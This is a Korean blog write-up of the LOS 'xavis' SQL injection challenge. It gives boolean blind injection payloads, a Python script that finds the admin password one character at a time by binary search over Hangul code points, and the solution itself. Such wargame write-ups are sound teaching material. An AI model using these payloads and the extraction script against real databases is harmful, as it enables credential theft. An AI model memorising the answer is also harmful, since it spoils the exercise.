문제
문제 분석
pw에 "prob" , "_" , ".","regex","like" 를 피해 id에 값이 들어있으면 Hello {id} 값이 출력되고 이 id값에 admin 값이 들어가면 문제가 풀린다.
id를 조회하는 쿼리가 참이된다면 hello {id} 출력되는데 이것으로 blind injection을 진행한다.
결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다.
pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다.
이때 pw의 ascii값이 50000이 넘어가는걸 봐서 한국어 인것을 파악할수 있다 하지만 한국어의 범위는 크기 때문에 이를 잘 구하는것이 핵심이다
문제 풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다
where id='admin' and pw= '' or 1
=> or 뒤에 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있지만 한국어인것을 감안하여 따로 조건을 주지않았다(주면 더 정확해지긴함).
이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행한다.
문제 정답
pw 길이를 알아내는 조건
URL?pw='or length(pw)=1 and id='admin' #
1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.
pw 값을 알아내는 조건
URL?pw=' or ord(mid(pw,1,1))=1#"
pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며 1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다.
url을 조작할시 #은 %23으로 입력해줘야한다.
따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.
URL?pw=우왕굳
아래의 코드를 통해 쉽게 알아낼 수 있다.
문제 풀이 코드
ascii코드범위와 다르게 한글은 범위가 엄청나기 떄문에 (44032~55203) 부등호로 범위를 조절했다
시작,중간,마지막 값을 각각 설정해주며 아래 코드와 같이 범위를 조절해가며 password를 찾아냈다.
import requests
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
password=""
for pw_length in range(1,15):
data['pw']="'or length(pw)="+str(pw_length)+" and id='admin'#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
num={"first":44032,"last":55203,"mid":0}
data['pw']=password
res = requests.get(url, params=data, cookies=session)
if "Clear!" in res.text:
print(res.url)
print("\nClear!")
exit()
for j in range(1,20):
num["mid"]=int((num["first"]+num["last"])/2)
data['pw']="' or ord(mid(pw,"+str(i)+",1))>"+str(num["mid"])+"#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
num["first"]=num["mid"]
#print("new first:"+str(num["first"]))
continue
else:
data['pw']="' or ord(mid(pw,"+str(i)+",1))="+str(num["mid"])+"#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
password+=chr(num["mid"])
print("password:"+password)
break
else:
num["last"]=num["mid"]
#print("new last:"+str(num["last"]))
print("try again")
'LOS-write up' 카테고리의 다른 글
LOS 21(iron_golem) (0) | 2021.01.06 |
---|---|
LOS 20(dragon) (0) | 2021.01.05 |
LOS 18(nightmare) (0) | 2021.01.05 |
LOS 17(zombie_assassin) (0) | 2021.01.05 |
LOS 16(succubus) (0) | 2021.01.05 |